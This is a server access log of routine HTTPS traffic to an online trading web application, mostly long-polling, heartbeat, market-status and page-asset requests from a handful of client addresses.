[09/Jan/2026:11:52:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931013719 HTTP/1.1" -
[09/Jan/2026:11:52:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:52:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:52:25 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931014614 HTTP/1.1" -
[09/Jan/2026:11:52:26 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931015134 HTTP/1.1" -
[09/Jan/2026:11:52:27 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931016703 HTTP/1.1" -
[09/Jan/2026:11:52:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931017586 HTTP/1.1" -
[09/Jan/2026:11:52:29 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931016894 HTTP/1.1" -
[09/Jan/2026:11:52:29 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:52:29 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931018751 HTTP/1.1" -
[09/Jan/2026:11:52:29 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:52:30 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931019671 HTTP/1.1" -
[09/Jan/2026:11:52:31 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931020369 HTTP/1.1" -
[09/Jan/2026:11:52:32 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931021781 HTTP/1.1" -
[09/Jan/2026:11:52:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931022728 HTTP/1.1" -
[09/Jan/2026:11:52:34 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931021924 HTTP/1.1" -
[09/Jan/2026:11:52:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931023787 HTTP/1.1" -
[09/Jan/2026:11:52:35 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931024743 HTTP/1.1" -
[09/Jan/2026:11:52:36 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931025492 HTTP/1.1" -
[09/Jan/2026:11:52:37 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:52:37 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:52:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931026845 HTTP/1.1" -
[09/Jan/2026:11:52:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931027871 HTTP/1.1" -
[09/Jan/2026:11:52:39 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931026988 HTTP/1.1" -
[09/Jan/2026:11:52:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931028821 HTTP/1.1" -
[09/Jan/2026:11:52:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:52:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:52:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:52:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:52:40 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931029813 HTTP/1.1" -
[09/Jan/2026:11:52:41 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931030750 HTTP/1.1" -
[09/Jan/2026:11:52:43 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931031908 HTTP/1.1" -
[09/Jan/2026:11:52:43 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:52:43 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:52:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931033007 HTTP/1.1" -
[09/Jan/2026:11:52:44 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04_o.jpg HTTP/1.1" 3289
[09/Jan/2026:11:52:44 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04.jpg HTTP/1.1" 3430
[09/Jan/2026:11:52:44 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931032069 HTTP/1.1" -
[09/Jan/2026:11:52:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931033839 HTTP/1.1" -
[09/Jan/2026:11:52:45 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04_o.jpg HTTP/1.1" 3289
[09/Jan/2026:11:52:46 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931034880 HTTP/1.1" -
[09/Jan/2026:11:52:47 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931035949 HTTP/1.1" -
[09/Jan/2026:11:52:47 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:52:47 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04_o.jpg HTTP/1.1" 3289
[09/Jan/2026:11:52:47 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/account.html HTTP/1.1" 57
[09/Jan/2026:11:52:47 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:11:52:47 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01.jpg HTTP/1.1" 3466
[09/Jan/2026:11:52:47 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:52:47 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/account_pwupdate.html HTTP/1.1" 687
[09/Jan/2026:11:52:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:52:47 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/point_blue.gif HTTP/1.1" 51
[09/Jan/2026:11:52:47 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/submit.gif HTTP/1.1" 374
[09/Jan/2026:11:52:47 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:52:47 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/cancel.gif HTTP/1.1" 542
[09/Jan/2026:11:52:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:52:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:52:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:52:47 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:52:47 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/getPasswordPolicy HTTP/1.1" 209
[09/Jan/2026:11:52:47 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Info HTTP/1.1" 212
[09/Jan/2026:11:52:48 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931036981 HTTP/1.1" -
[09/Jan/2026:11:52:48 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01_o.jpg HTTP/1.1" 3339
[09/Jan/2026:11:52:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931038103 HTTP/1.1" -
[09/Jan/2026:11:52:49 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01_o.jpg HTTP/1.1" 3339
[09/Jan/2026:11:52:49 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:11:52:49 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:52:49 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/trade.html HTTP/1.1" 2113
[09/Jan/2026:11:52:49 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04.jpg HTTP/1.1" 3430
[09/Jan/2026:11:52:49 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/trade_point01.jpg HTTP/1.1" 358
[09/Jan/2026:11:52:49 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/refresh.gif HTTP/1.1" 1145
[09/Jan/2026:11:52:49 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:52:49 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/applet_dummy.html HTTP/1.1" 330
[09/Jan/2026:11:52:49 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/buy_ticket.html? HTTP/1.1" 1995
[09/Jan/2026:11:52:49 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:52:49 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:52:49 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:52:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931038882 HTTP/1.1" -
[09/Jan/2026:11:52:49 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931037127 HTTP/1.1" -
[09/Jan/2026:11:52:49 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/multi_currency_balance.html HTTP/1.1" 295
[09/Jan/2026:11:52:49 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:11:52:49 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Home/PostToAA.jsp?hl=tc HTTP/1.1" 287
[09/Jan/2026:11:52:49 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:52:49 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:52:49 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:52:49 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:52:51 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931039941 HTTP/1.1" -
[09/Jan/2026:11:52:51 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:52:51 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:52:51 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfo HTTP/1.1" 205
[09/Jan/2026:11:52:51 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:52:51 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/account_status.html HTTP/1.1" 426
[09/Jan/2026:11:52:51 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:11:52:51 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:52:51 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:52:51 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LongPollingConfig HTTP/1.1" 4
[09/Jan/2026:11:52:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:52:51 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:11:52:51 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:52:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:52:52 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931040836 HTTP/1.1" -
[09/Jan/2026:11:52:51 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1500
[09/Jan/2026:11:52:52 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:52:52 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:52:52 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931041211 HTTP/1.1" -
[09/Jan/2026:11:52:53 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931042047 HTTP/1.1" -
[09/Jan/2026:11:52:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931043264 HTTP/1.1" -
[09/Jan/2026:11:52:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:52:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931043906 HTTP/1.1" -
[09/Jan/2026:11:52:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:52:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931042240 HTTP/1.1" -
[09/Jan/2026:11:52:55 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:52:55 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:11:52:55 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 1196
[09/Jan/2026:11:52:56 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931045005 HTTP/1.1" -
